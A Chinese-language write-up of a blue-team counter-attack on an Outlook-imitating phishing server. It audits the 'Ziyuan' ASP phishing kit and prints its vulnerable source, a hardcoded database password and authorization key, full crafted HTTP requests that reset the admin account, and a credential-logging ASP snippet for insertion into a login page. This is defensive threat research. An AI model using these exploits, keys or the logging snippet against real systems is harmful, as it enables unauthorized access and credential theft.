一、事件背景
企业邮箱收到了仿造Outlook Web App界面的钓鱼邮件。应该是想要钓鱼我们公司员工的邮箱账户。攻击者Outlook钓鱼页面:
二、反制过程
渗透测试是红队人员对目标单位的攻击,反制是目标单位的蓝队人员对红队人员的反向渗透测试。所以把这个反红队过程也叫做反制。反制和渗透测试一个正常网站没有差别。除了对目标IP的信息收集、漏洞挖掘外增加了同类系统扩展扫描、受控范围定位、人头威胁情报的搜索。
信息收集
面对单个IP的信息收集,常用的方法是敏感文件、端口扫描、弱口令测试、旁站域名。这里就直接给出结果和过程截图。下图是端口扫描的结果:
漏洞挖掘
弱口令测试
扫描出来的服务类端口FTP口令破解,可以看到FTP有匿名访问,权限是有,但没有WEB文件。
敏感文件扫描:祭出dirsearch扫描后台, 对80端口扫描不出敏感文件的时候,换到不同端口再尝试扫描网页文件。得到后台页面:http://xxx.xxx.xxx.xxx:2301/admin.asp。其中比较有用的信息,MANAGEQQ 管理系统,紫缘設計工作室(WWW.CKZZ.NET)
扫描出来的后台已经暴露出钓鱼程序名称、版本年限、端口、源码里面也有特别的字符,在网盘搜索引擎搜索能得到很多结果。 花时间在找源码的过程比较长,复现文章时网盘搜索已经搜索不出来了。以下是我在百度网盘搜索引擎里搜索得到的紫缘钓鱼源码架构截图:
搭建起来版本号是20150502的,跟目标源码长得不太一样。后台样式截图如下:
ASP代码审计跟审计其他脚本语言区别不大,调试和执行SQL语句的方法说明:
输出语句
Response.Write ""&username&"' ------ '"&password&""
数据库操作
set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集
set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集的实例
rs.open ...... ‘打开一个记录集
rs.addnew ‘添加记录到数据表末端
rs.update ‘更新数据表记录
ASP钓鱼源码比较简单,一般是没有上传、命令执行类可以利用,XSS之前已经黑盒子试过了没有反馈。而且已经扫到后台地址,拿到源码后先看看有没有机会可以越权进后台。
配置文件Web.box里89行,访问2301端口根目录是指向\wwwroot_Manager_##_#@#。
Set http3 = CreateObject("NetBox.HttpServer")
If http3.Create("", "2301") = 0 Then
Set www = http3.AddHost("", "\wwwroot\_Manager_##_#@#")
www.EnableScript = true
www.AddDefault "ckzz_ec.asp"
http3.Start
end if
搜索紫緣設計工作室(WWW.CKZZ.NET) 在wwwroot_manager_##_#@#\index.asp找到了后台登录验证页面。自己下载一个netbox加载web.box就可以脱离紫缘已经封装好的源码了, 因为配置参数都是默认有的。
SQL注入
源码很多地方都是没有过滤就调用外部传参的变量。管理员表Manager,字段名ZY_UserName、ZY_PassWord。密码加密方式有点BT,SQL注入出来密文稍微复杂点的明文密码肯定是解不开了。
数据库表名:
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"
密码加密方式:
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))
登录界面认证部分代码wwwroot_manager_##_#@#\index.asp 23~52行:
'提交驗證開始
if Request.form.count>0 then
ip=request.ServerVariables("REMOTE_ADDR")
session("fileget")=Server.MapPath(".")
‘ 接收用户名
username=replace(trim(request("username")),"'","")
‘ 加密密码对比数据库里的密文
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))
Session("passwordup")=base64Encode(sha256(base64Encode(mid(sha256(request.form("passwordup")),16,32)+mid(Reg("ckzz_gen_key"),8,16))))
CheckCode=replace(trim(request("CheckCode")),"'","")
'判斷管理帳戶和密碼不能為空
If username="" or password="" then
Call Box("管理帳戶和登入密碼不能填空!")
End if
'判斷驗證碼
If cstr(trim(session("getcode"))) <> cstr(trim(Request("code"))) then
Call boxurl("验证码错误,返回重新输入!","?")
End If
'驗證開始
set Rs=Server.CreateObject("adodb.recordset")
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"
rs.open sql,conn,1,1
if rs.eof and rs.bof then
Call Infozt("登入帳戶或密碼錯誤!")
Call Box("管理帳戶或登入密碼不正確,請重新輸入!")
else
'帳戶被禁用或遠程關閉
if rs("kick")=true then
Call Infozt("登入帳戶已禁用!")
Call Box("管理帳戶被禁用或於主站關閉登錄權限!")
end if
Call Infozt("登入密碼驗證完成,登錄成功!")
越权1-越权修改密码
SQL注入搞下来密码也破解不开密文的可能性很大。搜索request()函数找调用参数的时候发现/ckzz_ec.asp文件的传参可以控制。接收的key参数跟数据库里的ckzz_gen_key字段匹配就可以修改管理员密码、重启服务。
If Request("action")="manager" Then
dim username,password1,password2,rss
Set Reg = Conn.Execute("Select * from ckzz_reg")
username=request("username")
password1=request("password")
password2=request("tpassword")
key=request("key")
if password1<>password2 then
response.write "passerror"
response.end
End if
if key<>Reg("ckzz_gen_key") then
response.write "keyerror"
response.end
set reg=nothing
End If
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from Manager where zy_username='"&username&"'"
rs.open sql,conn,1,3
rs("zy_password")=sha256(base64Encode(sha256(password1)))
rs.update
那么从代码看ckzz_gen_key是一个很重要的值,找数据库看看表结构就可以清楚作用了。直接查看数据库发现是有密码加密的。那么只好翻数据库配置文件,然后看看正常逻辑下是怎么调用的数据库。
<%
Dim Conn,Connstr
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;data source="& Server.MapPath("../../Ckzz_DataBase/"&Netbox("DB")&"")&";persist security info=false;jet OLEDB:Database Password="&Netbox("DBP")&""
Set Conn=Server.CreateObject("adodb.connection")
Conn.Open Connstr
%>
NetBox("DBP")应该就是数据库的路径位置。然后全局搜索发现NetBox("DBP")是调用的web.box里11~14行。Zy.dll里的CKZZ_DB()函数:
Shell.RegisterServer "ZY.DLL"
Shell.RegisterServer "Jmail.dll"
Set ZYQQ = Netbox.CreateObject("ZY.QQ")
path =NetBox.ApplicationPath
NetBox.ConfigFile = path & "ManageQQ.ini"
NetBox("DB")=ZYQQ.CKZZ_DB(1)
NetBox("DBP")=ZYQQ.CKZZ_DB(2)
ZY.DLL查壳是Microsoft Visual Basic 6.0 DLL写的DLL,VB写的二进制文件可以反编译看代码。这里可以看到反编译后的代码数据库调用路径是是###www.ckzz.net###.accdb。数据库的加密密码是:www.ckzz.net.acc2003
打开数据库得到Ckzz_gen_key字段的值是94ebb60031c67eb0b42774de007dad3b,应该是程序的授权验证码。
构造数据包在本地测试一下。
GET /ckzz_ec.asp?action=manager&username=admin&password=admin&tpassword=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: 192.168.229.128:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LRFZKRHDQNCTVVIMERCO=CKSRDIZMQNDMCSWBOWRWYNLJPTLUJUTFOCUYJOZC; OTOUPMOKFXIWFSKOEQID=MZGVGBDHXVMUHLEZWMCZXMZWEDNBJXXQGTUYSTZB
Connection: close
密码修改成功效果:
验证数据库里的密码是不是已经被修改了。用程序后台界面自带的加密函数把我想改的明文跟修改之后的明文对比一下就清楚了,我写了一段记录后台账户密码的asp代码。往登录界面一插就能用。
dim fs,f,sw
Set fs = Server.CreateObject("Scripting.FileSystemObject")
Const saveFilePath = "c:\test.txt"
if fs.FileExists(saveFilePath) then
set f=fs.OpenTextFile(saveFilePath,8,true)
f.WriteLine("'"&username&"' ------ '"&password&"'")
f.Close
else
Set f = fs.CreateTextFile(saveFilePath, True)
f.WriteLine("'"&username&"' ------ '"&password&"'")
f.Close
end if
set f=Nothing
set fs=nothing
对应的密文:
'admin' ------ '70a647030002098aea97e7fcfa35fdcbf5cd5890f3de45af1df654f0995eb816'
'admin1' ------ '171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d'
'123456' ------ '39dc0e09acb949e9369083ca020d044e6e1016505cc0505e6bf19bbbf8835cb7'
真实环境测试不需要二级密码也可以修改管理员密码,可能是跟钓鱼页面源码用的都使用同一个授权key有关系。
原后台会向远程服务器地址发HTTP请求获取二级密码做验证。但是我从ZY.DLL提取到的二级密码获取网址已经挂了。所以这里的测试不需要二级密码验证也可以正常登录。
越权2-越权修改用户名
通过授权key可以做很多操作,比如Ckzz_manager_api.asp 5行~38行。如果修改密码失败,还可以用key值修改用户名。
if Request.QueryString("action")="edit_username" then
username = trim(request("username"))
key = trim(request("key"))
if username="" then
response.write "error"
response.end()
end if
reg_sql="select * from ckzz_reg"
set reg_rs=Server.CreateObject("ADODB.Recordset")
reg_rs.open reg_sql,conn,1,1
if reg_rs("ckzz_gen_key")<>key then
response.write "error"
response.end()
end if
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from Manager where id=1"
rs.open sql,conn,1,3
rs("zy_username")=username
rs.update
rs.close
set rs = nothing
set reg_rs = nothing
set rss=Server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
rss("user_name")="WWW.CKZZ.NET"
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="程序管理主站修改後臺帳戶,新帳戶為:"&username
rss.update
response.write "ok"
response.end()
end if
对比数据库也的确成功修改了用户名,构造的数据包:
GET /ckzz_manager_api.asp?action=edit_username&username=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
越权3-越权修改密码
继续分析Ckzz_manager_api.asp 39行~72行。发现还可以用key值修改密码。
if Request.QueryString("action")="edit_password" then
password = trim(request("password"))
key = trim(request("key"))
if password="" then
response.write "error"
response.end()
end if
reg_sql="select * from ckzz_reg"
set reg_rs=Server.CreateObject("ADODB.Recordset")
reg_rs.open reg_sql,conn,1,1
if reg_rs("ckzz_gen_key")<>key then
response.write "error"
response.end()
end if
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from manager where id=1"
rs.open sql,conn,1,3
rs("zy_password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
set reg_rs = nothing
set rss=Server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
rss("user_name")="WWW.CKZZ.NET"
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="程序管理主站修改後臺密碼,新密碼為:"&password
rss.update
response.write "ok"
response.end()
end if
构造数据包,用admin1的密文是
171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d。对比数据库里的值,又修改成功了:
GET /ckzz_manager_api.asp?action=edit_password&password=admin1&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
越权4-弱条件修改用户名&密码
仔细分析ckzz_manager.asp这个文件,这个文件可就厉害了。10行~40行代码。ID为空就越权修改用户表第一条记录的用户密码。ID不为空还能越权修改用户名,
if Request.QueryString("action")="edit_manager" then
id = trim(request.form("masterid"))
password = trim(request.form("password"))
repassword = trim(request.form("repassword"))
if password=repassword and repassword<>"" then
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from manager where id=1"
rs.open sql,conn,1,3
if id="" then
rs("zy_password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
set rss=server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
rss("user_name")=session("admin")
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="修改後臺密碼,新密碼:"&password
rss.update
end if
if id<>"" then
rs("zy_username")=id
rs("password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
构造数据包:
POST /ckzz_manager.asp?action=edit_manager HTTP/1.1
Host: localhost:2301
Content-Length: 41
Cache-Control: max-age=0
Origin: http://localhost:2301
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:2301/index.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GGOQPPUJGYTZLLPQEVMT=FTTGSOBVCLRDXIIQDKCTHFNCTPAUBWNVQGWEUSID; ts_uid=9255500360; LQAZPFPBDVYRXSJYFBEM=GFGVTJKZPZBGXXZGGLRZKJGYXRXWWFJTMGHNRCJR; GFVJPNNMAPEHZFPDTCDN=SKALNLNSTBIIOSPSFRENTXXFTKBMJPQDJBGXMTEU; ZZZUNOAQTQJRYRVYWWME=DDCJYWLVVADMRTDDDJZJCLOJCKPITYYAABBMRTES; QCUMJQUFSFTTAOOFXLYS=ABSXGDZGTYUFCFSSEUVZJQHIOGWJLAAMYPUWVSYF; QRPHUYXBKFAJADLUAPMZ=INJNKFQTDNRYVBLMJEPUEQRBLGFDSXYZRGZVYWRW; cs=Robot/%3FXTWJBTDNNQVRCQHHCOFLZMOGDLRGEKXVPLTUAIHC; ZBDUWICVXKRMTPZCQEHZ=SPISPZEULDQPJHRMCIBLPVISLZKWHABMYOANDKYK; DHDYCBOINVIOMKIPOKSG=FEFZNNVESNTMDLTZGNDDXDPHFWNBMTHUCTSZKOPG
Connection: close
masterid=&password=admin&repassword=admin
触发这个漏洞要经过/include/Check.asp文件2行6行的验证。可是这个条件其实在访问登录后台index.asp页面的时候有过赋值session("fileget")=Server.MapPath(".")。这样的话只要把index.asp的验证cookie替换到我构造的数据包里就能实现任意修改用户名和密码了,不再受之前那几个越权改密码还需要授权key的限制。/include/Check.asp文件2行6行的验证代码如下:
if session("fileget")<>Server.MapPath(".") then
Session.Abandon()
Response.Write("<script>alert('目錄認證錯誤,請返回重新登錄!');top.location='index.asp';</script>")
Response.end
rs.close
三、梳理攻击者信息
进了后台后先记录下后台登录IP:1xx.xxx.xxx.xxx、xxx.xxx.xxx.2xx,信封XX封
资产扫描
通过端口、中间件信息扫描获取同类型钓鱼网站的范围。
发件邮箱判断受控
翻发件邮箱里的IP:XXX.XXX.XX.XX反查绑定的域名发现是一个公司的网站,应该是正常的。而直接访问是通达OA?看起来很像是正常单位被搞了作为跳板。
再后续反查钓鱼网站域名的访问量、Whois得到注册人QQ就不展开了。
四、最后
紫缘钓鱼服务器是放在阿里云的,很早之前被端过。貌似有人提到过这套系统有其他漏洞,但不愿意说方法。我感觉技术迟早会过时,没有什么好保密的。复盘自己的知识点是为了与同样爱好者共同进步和提升。我原帖写在吐司论坛:https://www.t00ls.net/thread-58941-1-1.html,
钓鱼源码和资产收集工具也丢了进去。